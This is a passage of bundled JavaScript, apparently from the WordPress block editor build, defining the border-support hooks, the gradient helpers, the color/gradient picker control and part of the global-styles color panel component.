23414 const updatedStyle = resetAllFilter(existingStyle);
23415 return {
23416 ...attributes,
23417 ...styleToAttributes(updatedStyle)
23418 };
23419 },
23420 [resetAllFilter]
23421 );
23422 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
23423 inspector_controls_default,
23424 {
23425 group: "border",
23426 resetAllFilter: attributesResetAllFilter,
23427 label,
23428 children
23429 }
23430 );
23431}
23432function border_BorderPanel({ clientId, name, setAttributes, settings }) {
23433 const isEnabled = useHasBorderPanel(settings);
23434 function selector(select) {
23435 const { style: style2, borderColor: borderColor2 } = select(store).getBlockAttributes(clientId) || {};
23436 return { style: style2, borderColor: borderColor2 };
23437 }
23438 const { style, borderColor } = (0,external_wp_data_namespaceObject.useSelect)(selector, [clientId]);
23439 const value = (0,external_wp_element_namespaceObject.useMemo)(() => {
23440 return attributesToStyle({ style, borderColor });
23441 }, [style, borderColor]);
23442 const onChange = (newStyle) => {
23443 setAttributes(styleToAttributes(newStyle));
23444 };
23445 if (!isEnabled) {
23446 return null;
23447 }
23448 const defaultControls = {
23449 ...(0,external_wp_blocks_namespaceObject.getBlockSupport)(name, [
23450 BORDER_SUPPORT_KEY,
23451 "__experimentalDefaultControls"
23452 ]),
23453 ...(0,external_wp_blocks_namespaceObject.getBlockSupport)(name, [
23454 SHADOW_SUPPORT_KEY,
23455 "__experimentalDefaultControls"
23456 ])
23457 };
23458 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
23459 BorderPanel,
23460 {
23461 as: BordersInspectorControl,
23462 panelId: clientId,
23463 settings,
23464 value,
23465 onChange,
23466 defaultControls
23467 }
23468 );
23469}
23470function hasBorderSupport(blockName, feature = "any") {
23471 if (external_wp_element_namespaceObject.Platform.OS !== "web") {
23472 return false;
23473 }
23474 const support = (0,external_wp_blocks_namespaceObject.getBlockSupport)(blockName, BORDER_SUPPORT_KEY);
23475 if (support === true) {
23476 return true;
23477 }
23478 if (feature === "any") {
23479 return !!(support?.color || support?.radius || support?.width || support?.style);
23480 }
23481 return !!support?.[feature];
23482}
23483function hasShadowSupport(blockName) {
23484 return hasBlockSupport(blockName, SHADOW_SUPPORT_KEY);
23485}
23486function useBorderPanelLabel({
23487 blockName,
23488 hasBorderControl,
23489 hasShadowControl
23490} = {}) {
23491 const settings = useBlockSettings(blockName);
23492 const controls = useHasBorderPanelControls(settings);
23493 if (!hasBorderControl && !hasShadowControl && blockName) {
23494 hasBorderControl = controls?.hasBorderColor || controls?.hasBorderStyle || controls?.hasBorderWidth || controls?.hasBorderRadius;
23495 hasShadowControl = controls?.hasShadow;
23496 }
23497 if (hasBorderControl && hasShadowControl) {
23498 return (0,external_wp_i18n_namespaceObject.__)("Border & Shadow");
23499 }
23500 if (hasShadowControl) {
23501 return (0,external_wp_i18n_namespaceObject.__)("Shadow");
23502 }
23503 return (0,external_wp_i18n_namespaceObject.__)("Border");
23504}
23505function removeBorderAttribute(style, attribute) {
23506 return cleanEmptyObject({
23507 ...style,
23508 border: {
23509 ...style?.border,
23510 [attribute]: void 0
23511 }
23512 });
23513}
23514function addAttributes(settings) {
23515 if (!hasBorderSupport(settings, "color")) {
23516 return settings;
23517 }
23518 if (settings.attributes.borderColor) {
23519 return settings;
23520 }
23521 return {
23522 ...settings,
23523 attributes: {
23524 ...settings.attributes,
23525 borderColor: {
23526 type: "string"
23527 }
23528 }
23529 };
23530}
23531function border_addSaveProps(props, blockNameOrType, attributes) {
23532 if (!hasBorderSupport(blockNameOrType, "color") || shouldSkipSerialization(blockNameOrType, BORDER_SUPPORT_KEY, "color")) {
23533 return props;
23534 }
23535 const borderClasses = getBorderClasses(attributes);
23536 const newClassName = dist_clsx(props.className, borderClasses);
23537 props.className = newClassName ? newClassName : void 0;
23538 return props;
23539}
23540function getBorderClasses(attributes) {
23541 const { borderColor, style } = attributes;
23542 const borderColorClass = getColorClassName("border-color", borderColor);
23543 return dist_clsx({
23544 "has-border-color": borderColor || style?.border?.color,
23545 [borderColorClass]: !!borderColorClass
23546 });
23547}
23548function border_useBlockProps({ name, borderColor, style }) {
23549 const { colors } = useMultipleOriginColorsAndGradients();
23550 if (!hasBorderSupport(name, "color") || shouldSkipSerialization(name, BORDER_SUPPORT_KEY, "color")) {
23551 return {};
23552 }
23553 const { color: borderColorValue } = getMultiOriginColor({
23554 colors,
23555 namedColor: borderColor
23556 });
23557 const { color: borderTopColor } = getMultiOriginColor({
23558 colors,
23559 namedColor: getColorSlugFromVariable(style?.border?.top?.color)
23560 });
23561 const { color: borderRightColor } = getMultiOriginColor({
23562 colors,
23563 namedColor: getColorSlugFromVariable(style?.border?.right?.color)
23564 });
23565 const { color: borderBottomColor } = getMultiOriginColor({
23566 colors,
23567 namedColor: getColorSlugFromVariable(style?.border?.bottom?.color)
23568 });
23569 const { color: borderLeftColor } = getMultiOriginColor({
23570 colors,
23571 namedColor: getColorSlugFromVariable(style?.border?.left?.color)
23572 });
23573 const extraStyles = {
23574 borderTopColor: borderTopColor || borderColorValue,
23575 borderRightColor: borderRightColor || borderColorValue,
23576 borderBottomColor: borderBottomColor || borderColorValue,
23577 borderLeftColor: borderLeftColor || borderColorValue
23578 };
23579 return border_addSaveProps(
23580 { style: utils_cleanEmptyObject(extraStyles) || {} },
23581 name,
23582 { borderColor, style }
23583 );
23584}
23585var border_default = {
23586 useBlockProps: border_useBlockProps,
23587 addSaveProps: border_addSaveProps,
23588 attributeKeys: ["borderColor", "style"],
23589 hasSupport(name) {
23590 return hasBorderSupport(name, "color");
23591 }
23592};
23593(0,external_wp_hooks_namespaceObject.addFilter)(
23594 "blocks.registerBlockType",
23595 "core/border/addAttributes",
23596 addAttributes
23597);
23598
23599
23600;// ./node_modules/@wordpress/block-editor/build-module/components/gradients/use-gradient.js
23601
23602
23603
23604
23605
23606function __experimentalGetGradientClass(gradientSlug) {
23607 if (!gradientSlug) {
23608 return void 0;
23609 }
23610 return `has-${gradientSlug}-gradient-background`;
23611}
23612function getGradientValueBySlug(gradients, slug) {
23613 const gradient = gradients?.find((g) => g.slug === slug);
23614 return gradient && gradient.gradient;
23615}
23616function __experimentalGetGradientObjectByGradientValue(gradients, value) {
23617 const gradient = gradients?.find((g) => g.gradient === value);
23618 return gradient;
23619}
23620function getGradientSlugByValue(gradients, value) {
23621 const gradient = __experimentalGetGradientObjectByGradientValue(
23622 gradients,
23623 value
23624 );
23625 return gradient && gradient.slug;
23626}
23627function __experimentalUseGradient({
23628 gradientAttribute = "gradient",
23629 customGradientAttribute = "customGradient"
23630} = {}) {
23631 const { clientId } = useBlockEditContext();
23632 const [
23633 userGradientPalette,
23634 themeGradientPalette,
23635 defaultGradientPalette
23636 ] = use_settings_useSettings(
23637 "color.gradients.custom",
23638 "color.gradients.theme",
23639 "color.gradients.default"
23640 );
23641 const allGradients = (0,external_wp_element_namespaceObject.useMemo)(
23642 () => [
23643 ...userGradientPalette || [],
23644 ...themeGradientPalette || [],
23645 ...defaultGradientPalette || []
23646 ],
23647 [userGradientPalette, themeGradientPalette, defaultGradientPalette]
23648 );
23649 const { gradient, customGradient } = (0,external_wp_data_namespaceObject.useSelect)(
23650 (select) => {
23651 const { getBlockAttributes } = select(store);
23652 const attributes = getBlockAttributes(clientId) || {};
23653 return {
23654 customGradient: attributes[customGradientAttribute],
23655 gradient: attributes[gradientAttribute]
23656 };
23657 },
23658 [clientId, gradientAttribute, customGradientAttribute]
23659 );
23660 const { updateBlockAttributes } = (0,external_wp_data_namespaceObject.useDispatch)(store);
23661 const setGradient = (0,external_wp_element_namespaceObject.useCallback)(
23662 (newGradientValue) => {
23663 const slug = getGradientSlugByValue(
23664 allGradients,
23665 newGradientValue
23666 );
23667 if (slug) {
23668 updateBlockAttributes(clientId, {
23669 [gradientAttribute]: slug,
23670 [customGradientAttribute]: void 0
23671 });
23672 return;
23673 }
23674 updateBlockAttributes(clientId, {
23675 [gradientAttribute]: void 0,
23676 [customGradientAttribute]: newGradientValue
23677 });
23678 },
23679 [allGradients, clientId, updateBlockAttributes]
23680 );
23681 const gradientClass = __experimentalGetGradientClass(gradient);
23682 let gradientValue;
23683 if (gradient) {
23684 gradientValue = getGradientValueBySlug(allGradients, gradient);
23685 } else {
23686 gradientValue = customGradient;
23687 }
23688 return { gradientClass, gradientValue, setGradient };
23689}
23690
23691
23692;// ./node_modules/@wordpress/block-editor/build-module/components/colors-gradients/control.js
23693
23694
23695
23696
23697
23698
23699const { Tabs } = unlock(external_wp_components_namespaceObject.privateApis);
23700const colorsAndGradientKeys = [
23701 "colors",
23702 "disableCustomColors",
23703 "gradients",
23704 "disableCustomGradients"
23705];
23706const TAB_IDS = { color: "color", gradient: "gradient" };
23707function ColorGradientControlInner({
23708 colors,
23709 gradients,
23710 disableCustomColors,
23711 disableCustomGradients,
23712 __experimentalIsRenderedInSidebar,
23713 className,
23714 label,
23715 onColorChange,
23716 onGradientChange,
23717 colorValue,
23718 gradientValue,
23719 clearable,
23720 showTitle = true,
23721 enableAlpha,
23722 headingLevel
23723}) {
23724 const canChooseAColor = onColorChange && (colors && colors.length > 0 || !disableCustomColors);
23725 const canChooseAGradient = onGradientChange && (gradients && gradients.length > 0 || !disableCustomGradients);
23726 if (!canChooseAColor && !canChooseAGradient) {
23727 return null;
23728 }
23729 const tabPanels = {
23730 [TAB_IDS.color]: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
23731 external_wp_components_namespaceObject.ColorPalette,
23732 {
23733 value: colorValue,
23734 onChange: canChooseAGradient ? (newColor) => {
23735 onColorChange(newColor);
23736 onGradientChange();
23737 } : onColorChange,
23738 ...{ colors, disableCustomColors },
23739 __experimentalIsRenderedInSidebar,
23740 clearable,
23741 enableAlpha,
23742 headingLevel
23743 }
23744 ),
23745 [TAB_IDS.gradient]: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
23746 external_wp_components_namespaceObject.GradientPicker,
23747 {
23748 value: gradientValue,
23749 onChange: canChooseAColor ? (newGradient) => {
23750 onGradientChange(newGradient);
23751 onColorChange();
23752 } : onGradientChange,
23753 ...{ gradients, disableCustomGradients },
23754 __experimentalIsRenderedInSidebar,
23755 clearable,
23756 headingLevel
23757 }
23758 )
23759 };
23760 const renderPanelType = (type) => /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("div", { className: "block-editor-color-gradient-control__panel", children: tabPanels[type] });
23761 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
23762 external_wp_components_namespaceObject.BaseControl,
23763 {
23764 __nextHasNoMarginBottom: true,
23765 className: dist_clsx(
23766 "block-editor-color-gradient-control",
23767 className
23768 ),
23769 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("fieldset", { className: "block-editor-color-gradient-control__fieldset", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalVStack, { spacing: 1, children: [
23770 showTitle && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("legend", { children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("div", { className: "block-editor-color-gradient-control__color-indicator", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.BaseControl.VisualLabel, { children: label }) }) }),
23771 canChooseAColor && canChooseAGradient && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("div", { children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(
23772 Tabs,
23773 {
23774 defaultTabId: gradientValue ? TAB_IDS.gradient : !!canChooseAColor && TAB_IDS.color,
23775 children: [
23776 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(Tabs.TabList, { children: [
23777 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(Tabs.Tab, { tabId: TAB_IDS.color, children: (0,external_wp_i18n_namespaceObject.__)("Color") }),
23778 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(Tabs.Tab, { tabId: TAB_IDS.gradient, children: (0,external_wp_i18n_namespaceObject.__)("Gradient") })
23779 ] }),
23780 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
23781 Tabs.TabPanel,
23782 {
23783 tabId: TAB_IDS.color,
23784 className: "block-editor-color-gradient-control__panel",
23785 focusable: false,
23786 children: tabPanels.color
23787 }
23788 ),
23789 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
23790 Tabs.TabPanel,
23791 {
23792 tabId: TAB_IDS.gradient,
23793 className: "block-editor-color-gradient-control__panel",
23794 focusable: false,
23795 children: tabPanels.gradient
23796 }
23797 )
23798 ]
23799 }
23800 ) }),
23801 !canChooseAGradient && renderPanelType(TAB_IDS.color),
23802 !canChooseAColor && renderPanelType(TAB_IDS.gradient)
23803 ] }) })
23804 }
23805 );
23806}
23807function ColorGradientControlSelect(props) {
23808 const [colors, gradients, customColors, customGradients] = use_settings_useSettings(
23809 "color.palette",
23810 "color.gradients",
23811 "color.custom",
23812 "color.customGradient"
23813 );
23814 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
23815 ColorGradientControlInner,
23816 {
23817 colors,
23818 gradients,
23819 disableCustomColors: !customColors,
23820 disableCustomGradients: !customGradients,
23821 ...props
23822 }
23823 );
23824}
23825function ColorGradientControl(props) {
23826 if (colorsAndGradientKeys.every((key) => props.hasOwnProperty(key))) {
23827 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(ColorGradientControlInner, { ...props });
23828 }
23829 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(ColorGradientControlSelect, { ...props });
23830}
23831var control_default = ColorGradientControl;
23832
23833
23834;// ./node_modules/@wordpress/block-editor/build-module/components/global-styles/color-panel.js
23835
23836
23837
23838
23839
23840
23841
23842
23843
23844
23845
23846function useHasColorPanel(settings) {
23847 const hasTextPanel = useHasTextPanel(settings);
23848 const hasBackgroundPanel = useHasBackgroundColorPanel(settings);
23849 const hasLinkPanel = useHasLinkPanel(settings);
23850 const hasHeadingPanel = useHasHeadingPanel(settings);
23851 const hasButtonPanel = useHasButtonPanel(settings);
23852 const hasCaptionPanel = useHasCaptionPanel(settings);
23853 return hasTextPanel || hasBackgroundPanel || hasLinkPanel || hasHeadingPanel || hasButtonPanel || hasCaptionPanel;
23854}
23855function useHasTextPanel(settings) {
23856 const colors = useColorsPerOrigin(settings);
23857 return settings?.color?.text && (colors?.length > 0 || settings?.color?.custom);
23858}
23859function useHasLinkPanel(settings) {
23860 const colors = useColorsPerOrigin(settings);
23861 return settings?.color?.link && (colors?.length > 0 || settings?.color?.custom);
23862}
23863function useHasCaptionPanel(settings) {
23864 const colors = useColorsPerOrigin(settings);
23865 return settings?.color?.caption && (colors?.length > 0 || settings?.color?.custom);
23866}
23867function useHasHeadingPanel(settings) {
23868 const colors = useColorsPerOrigin(settings);
23869 const gradients = useGradientsPerOrigin(settings);
23870 return settings?.color?.heading && (colors?.length > 0 || settings?.color?.custom || gradients?.length > 0 || settings?.color?.customGradient);
23871}
23872function useHasButtonPanel(settings) {
23873 const colors = useColorsPerOrigin(settings);
23874 const gradients = useGradientsPerOrigin(settings);
23875 return settings?.color?.button && (colors?.length > 0 || settings?.color?.custom || gradients?.length > 0 || settings?.color?.customGradient);
23876}
23877function useHasBackgroundColorPanel(settings) {
23878 const colors = useColorsPerOrigin(settings);
23879 const gradients = useGradientsPerOrigin(settings);
23880 return settings?.color?.background && (colors?.length > 0 || settings?.color?.custom || gradients?.length > 0 || settings?.color?.customGradient);
23881}
23882function ColorToolsPanel({
23883 resetAllFilter,
23884 onChange,
23885 value,
23886 panelId,
23887 children
23888}) {
23889 const dropdownMenuProps = useToolsPanelDropdownMenuProps();
23890 const resetAll = () => {
23891 const updatedValue = resetAllFilter(value);
23892 onChange(updatedValue);
23893 };
23894 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
23895 external_wp_components_namespaceObject.__experimentalToolsPanel,
23896 {
23897 label: (0,external_wp_i18n_namespaceObject.__)("Elements"),
23898 resetAll,
23899 panelId,
23900 hasInnerWrapper: true,
23901 headingLevel: 3,
23902 className: "color-block-support-panel",
23903 __experimentalFirstVisibleItemClass: "first",
23904 __experimentalLastVisibleItemClass: "last",
23905 dropdownMenuProps,
23906 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("div", { className: "color-block-support-panel__inner-wrapper", children })
23907 }
23908 );
23909}
23910const color_panel_DEFAULT_CONTROLS = {
23911 text: true,
23912 background: true,
23913 link: true,
23914 heading: true,
23915 button: true,
23916 caption: true
23917};
23918const popoverProps = {
23919 placement: "left-start",
23920 offset: 36,
23921 shift: true
23922};
23923const { Tabs: color_panel_Tabs } = unlock(external_wp_components_namespaceObject.privateApis);
23924const LabeledColorIndicators = ({ indicators, label }) => /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalHStack, { justify: "flex-start", children: [
23925 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalZStack, { isLayered: false, offset: -8, children: indicators.map((indicator, index) => /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Flex, { expanded: false, children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.ColorIndicator, { colorValue: indicator }) }, index)) }),
23926 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.FlexItem, { className: "block-editor-panel-color-gradient-settings__color-name", children: label })
23927] });
23928function ColorPanelTab({
23929 isGradient,
23930 inheritedValue,
23931 userValue,
23932 setValue,
23933 colorGradientControlSettings
23934}) {
23935 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
23936 control_default,
23937 {
23938 ...colorGradientControlSettings,
23939 showTitle: false,
23940 enableAlpha: true,
23941 __experimentalIsRenderedInSidebar: true,
23942 colorValue: isGradient ? void 0 : inheritedValue,
23943 gradientValue: isGradient ? inheritedValue : void 0,
23944 onColorChange: isGradient ? void 0 : setValue,
23945 onGradientChange: isGradient ? setValue : void 0,
23946 clearable: inheritedValue === userValue,
23947 headingLevel: 3
23948 }
23949 );
23950}
23951function ColorPanelDropdown({
23952 label,
23953 hasValue,
23954 resetValue,
23955 isShownByDefault,
23956 indicators,
23957 tabs,
23958 colorGradientControlSettings,
23959 panelId
23960}) {
23961 const currentTab = tabs.find((tab) => tab.userValue !== void 0);
23962 const { key: firstTabKey, ...firstTab } = tabs[0] ?? {};
23963 const colorGradientDropdownButtonRef = (0,external_wp_element_namespaceObject.useRef)(void 0);
23964 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
23965 external_wp_components_namespaceObject.__experimentalToolsPanelItem,
23966 {
23967 className: "block-editor-tools-panel-color-gradient-settings__item",
23968 hasValue,
23969 label,
23970 onDeselect: resetValue,
23971 isShownByDefault,
23972 panelId,
23973 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
23974 external_wp_components_namespaceObject.Dropdown,
23975 {
23976 popoverProps,
23977 className: "block-editor-tools-panel-color-gradient-settings__dropdown",
23978 renderToggle: ({ onToggle, isOpen }) => {
23979 const toggleProps = {
23980 onClick: onToggle,
23981 className: dist_clsx(
23982 "block-editor-panel-color-gradient-settings__dropdown",
23983 { "is-open": isOpen }
23984 ),
23985 "aria-expanded": isOpen,
23986 ref: colorGradientDropdownButtonRef
23987 };
23988 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: [
23989 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Button, { ...toggleProps, __next40pxDefaultSize: true, children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
23990 LabeledColorIndicators,
23991 {
23992 indicators,
23993 label
23994 }
23995 ) }),
23996 hasValue() && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
23997 external_wp_components_namespaceObject.Button,
23998 {
23999 __next40pxDefaultSize: true,
24000 label: (0,external_wp_i18n_namespaceObject.__)("Reset"),
24001 className: "block-editor-panel-color-gradient-settings__reset",
24002 size: "small",
24003 icon: reset_default,
24004 onClick: () => {
24005 resetValue();
24006 if (isOpen) {
24007 onToggle();
24008 }
24009 colorGradientDropdownButtonRef.current?.focus();
24010 }
24011 }
24012 )
24013 ] });
24014 },
24015 renderContent: () => /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalDropdownContentWrapper, { paddingSize: "none", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)("div", { className: "block-editor-panel-color-gradient-settings__dropdown-content", children: [
24016 tabs.length === 1 && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
24017 ColorPanelTab,
24018 {
24019 ...firstTab,
24020 colorGradientControlSettings
24021 },
24022 firstTabKey
24023 ),
24024 tabs.length > 1 && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(color_panel_Tabs, { defaultTabId: currentTab?.key, children: [
24025 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(color_panel_Tabs.TabList, { children: tabs.map((tab) => /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
24026 color_panel_Tabs.Tab,
24027 {
24028 tabId: tab.key,
24029 children: tab.label
24030 },
24031 tab.key
24032 )) }),
24033 tabs.map((tab) => {
24034 const { key: tabKey, ...restTabProps } = tab;
24035 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
24036 color_panel_Tabs.TabPanel,
24037 {
24038 tabId: tabKey,
24039 focusable: false,
24040 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
24041 ColorPanelTab,
24042 {
24043 ...restTabProps,
24044 colorGradientControlSettings
24045 },
24046 tabKey
24047 )
24048 },
24049 tabKey
24050 );
24051 })
24052 ] })
24053 ] }) })
24054 }
24055 )
24056 }
24057 );
24058}
24059function ColorPanel({
24060 as: Wrapper = ColorToolsPanel,
24061 value,
24062 onChange,
24063 inheritedValue = value,
24064 settings,
24065 panelId,
24066 defaultControls = color_panel_DEFAULT_CONTROLS,
24067 children
24068}) {
24069 const colors = useColorsPerOrigin(settings);
24070 const gradients = useGradientsPerOrigin(settings);
24071 const areCustomSolidsEnabled = settings?.color?.custom;
24072 const areCustomGradientsEnabled = settings?.color?.customGradient;
24073 const hasSolidColors = colors.length > 0 || areCustomSolidsEnabled;
24074 const hasGradientColors = gradients.length > 0 || areCustomGradientsEnabled;
24075 const decodeValue = (rawValue) => getValueFromVariable({ settings }, "", rawValue);
24076 const encodeColorValue = (colorValue) => {
24077 const allColors = colors.flatMap(
24078 ({ colors: originColors }) => originColors
24079 );
24080 const colorObject = allColors.find(
24081 ({ color }) => color === colorValue
24082 );
24083 return colorObject ? "var:preset|color|" + colorObject.slug : colorValue;
24084 };
24085 const encodeGradientValue = (gradientValue) => {
24086 const allGradients = gradients.flatMap(
24087 ({ gradients: originGradients }) => originGradients
24088 );
24089 const gradientObject = allGradients.find(
24090 ({ gradient: gradient2 }) => gradient2 === gradientValue
24091 );
24092 return gradientObject ? "var:preset|gradient|" + gradientObject.slug : gradientValue;
24093 };
24094 const showBackgroundPanel = useHasBackgroundColorPanel(settings);
24095 const backgroundColor = decodeValue(inheritedValue?.color?.background);
24096 const userBackgroundColor = decodeValue(value?.color?.background);
24097 const gradient = decodeValue(inheritedValue?.color?.gradient);
24098 const userGradient = decodeValue(value?.color?.gradient);
24099 const hasBackground = () => !!userBackgroundColor || !!userGradient;
24100 const setBackgroundColor = (newColor) => {
24101 const newValue = setImmutably(
24102 value,
24103 ["color", "background"],
24104 encodeColorValue(newColor)
24105 );
24106 newValue.color.gradient = void 0;
24107 onChange(newValue);
24108 };
24109 const setGradient = (newGradient) => {
24110 const newValue = setImmutably(
24111 value,
24112 ["color", "gradient"],
24113 encodeGradientValue(newGradient)
24114 );
24115 newValue.color.background = void 0;
24116 onChange(newValue);
24117 };
24118 const resetBackground = () => {
24119 const newValue = setImmutably(
24120 value,
24121 ["color", "background"],
24122 void 0
24123 );
24124 newValue.color.gradient = void 0;
24125 onChange(newValue);
24126 };
24127 const showLinkPanel = useHasLinkPanel(settings);
24128 const linkColor = decodeValue(
24129 inheritedValue?.elements?.link?.color?.text
24130 );
24131 const userLinkColor = decodeValue(value?.elements?.link?.color?.text);
24132 const setLinkColor = (newColor) => {
24133 onChange(
24134 setImmutably(
24135 value,
24136 ["elements", "link", "color", "text"],
24137 encodeColorValue(newColor)
24138 )
24139 );
24140 };
24141 const hoverLinkColor = decodeValue(
24142 inheritedValue?.elements?.link?.[":hover"]?.color?.text
24143 );
24144 const userHoverLinkColor = decodeValue(
24145 value?.elements?.link?.[":hover"]?.color?.text
24146 );
24147 const setHoverLinkColor = (newColor) => {
24148 onChange(
24149 setImmutably(
24150 value,
24151 ["elements", "link", ":hover", "color", "text"],
24152 encodeColorValue(newColor)
24153 )
24154 );
24155 };
24156 const hasLink = () => !!userLinkColor || !!userHoverLinkColor;
24157 const resetLink = () => {
24158 let newValue = setImmutably(
24159 value,
24160 ["elements", "link", ":hover", "color", "text"],
24161 void 0
24162 );
24163 newValue = setImmutably(
24164 newValue,
24165 ["elements", "link", "color", "text"],
24166 void 0
24167 );
24168 onChange(newValue);
24169 };
24170 const showTextPanel = useHasTextPanel(settings);
24171 const textColor = decodeValue(inheritedValue?.color?.text);
24172 const userTextColor = decodeValue(value?.color?.text);
24173 const hasTextColor = () => !!userTextColor;
24174 const setTextColor = (newColor) => {
24175 let changedObject = setImmutably(
24176 value,
24177 ["color", "text"],
24178 encodeColorValue(newColor)
24179 );
24180 if (textColor === linkColor) {
24181 changedObject = setImmutably(
24182 changedObject,
24183 ["elements", "link", "color", "text"],
24184 encodeColorValue(newColor)
24185 );
24186 }
24187 onChange(changedObject);
24188 };
24189 const resetTextColor = () => setTextColor(void 0);
24190 const elements = [
24191 {
24192 name: "caption",
24193 label: (0,external_wp_i18n_namespaceObject.__)("Captions"),
24194 showPanel: useHasCaptionPanel(settings)
24195 },
24196 {
24197 name: "button",
24198 label: (0,external_wp_i18n_namespaceObject.__)("Button"),
24199 showPanel: useHasButtonPanel(settings)
24200 },
24201 {
24202 name: "heading",
24203 label: (0,external_wp_i18n_namespaceObject.__)("Heading"),
24204 showPanel: useHasHeadingPanel(settings)
24205 },
24206 {
24207 name: "h1",
24208 label: (0,external_wp_i18n_namespaceObject.__)("H1"),
24209 showPanel: useHasHeadingPanel(settings)
24210 },
24211 {
24212 name: "h2",
24213 label: (0,external_wp_i18n_namespaceObject.__)("H2"),
24214 showPanel: useHasHeadingPanel(settings)
24215 },
24216 {
24217 name: "h3",
24218 label: (0,external_wp_i18n_namespaceObject.__)("H3"),
24219 showPanel: useHasHeadingPanel(settings)
24220 },
24221 {
24222 name: "h4",
24223 label: (0,external_wp_i18n_namespaceObject.__)("H4"),
24224 showPanel: useHasHeadingPanel(settings)
24225 },
24226 {
24227 name: "h5",
24228 label: (0,external_wp_i18n_namespaceObject.__)("H5"),
24229 showPanel: useHasHeadingPanel(settings)
24230 },
24231 {
24232 name: "h6",
24233 label: (0,external_wp_i18n_namespaceObject.__)("H6"),
24234 showPanel: useHasHeadingPanel(settings)
24235 }
24236 ];
24237 const resetAllFilter = (0,external_wp_element_namespaceObject.useCallback)((previousValue) => {
24238 return {
24239 ...previousValue,
24240 color: void 0,
24241 elements: {
24242 ...previousValue?.elements,
24243 link: {
24244 ...previousValue?.elements?.link,
24245 color: void 0,
24246 ":hover": {
24247 color: void 0
24248 }
24249 },
24250 ...elements.reduce((acc, element) => {
24251 return {
24252 ...acc,
24253 [element.name]: {
24254 ...previousValue?.elements?.[element.name],
24255 color: void 0
24256 }
24257 };
24258 }, {})
24259 }
24260 };
24261 }, []);
24262 const items = [
24263 showTextPanel && {
24264 key: "text",
24265 label: (0,external_wp_i18n_namespaceObject.__)("Text"),
24266 hasValue: hasTextColor,
24267 resetValue: resetTextColor,
24268 isShownByDefault: defaultControls.text,
24269 indicators: [textColor],
24270 tabs: [
24271 {
24272 key: "text",
24273 label: (0,external_wp_i18n_namespaceObject.__)("Text"),
24274 inheritedValue: textColor,
24275 setValue: setTextColor,
24276 userValue: userTextColor
24277 }
24278 ]
24279 },
24280 showBackgroundPanel && {
24281 key: "background",
24282 label: (0,external_wp_i18n_namespaceObject.__)("Background"),
24283 hasValue: hasBackground,
24284 resetValue: resetBackground,
24285 isShownByDefault: defaultControls.background,
24286 indicators: [gradient ?? backgroundColor],
24287 tabs: [
24288 hasSolidColors && {
24289 key: "background",
24290 label: (0,external_wp_i18n_namespaceObject.__)("Color"),
24291 inheritedValue: backgroundColor,
24292 setValue: setBackgroundColor,
24293 userValue: userBackgroundColor
24294 },
24295 hasGradientColors && {
24296 key: "gradient",
24297 label: (0,external_wp_i18n_namespaceObject.__)("Gradient"),
24298 inheritedValue: gradient,
24299 setValue: setGradient,
24300 userValue: userGradient,
24301 isGradient: true
24302 }
24303 ].filter(Boolean)
24304 },
24305 showLinkPanel && {
24306 key: "link",
24307 label: (0,external_wp_i18n_namespaceObject.__)("Link"),
